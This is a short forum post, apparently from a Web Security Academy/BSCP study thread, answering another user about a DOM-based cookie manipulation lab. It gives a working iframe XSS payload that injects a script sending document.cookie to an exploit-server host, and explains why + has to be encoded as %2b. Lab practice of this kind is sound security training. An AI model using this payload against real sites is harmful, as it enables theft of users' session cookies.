DOM-based cookie manipulation last reviewed product...working payload

[ShehmeerAbidRajput]

For DOM-based cookie manipulation:

Kindly review the code I've shared. Well, you see due to URL encoding your + was decoded as space, instead we want concatenation.
Instead of using document.location i used fetch, as for BSCP I've found it much versatile.

<iframe src="https://0a1000f8032e0dfc80f7812a00220050.web-security-academy.net/product?productId=1&'><script>fetch('https://exploit-0afc009103680dcf8008806201bf0010.exploit-server.net/log?c='%2bdocument.cookie)</script>" onload="if(!window.x)this.src='https://0a1000f8032e0dfc80f7812a00220050.web-security-academy.net';window.x=1;"></iframe>

Excited to hear from you BotesJuan!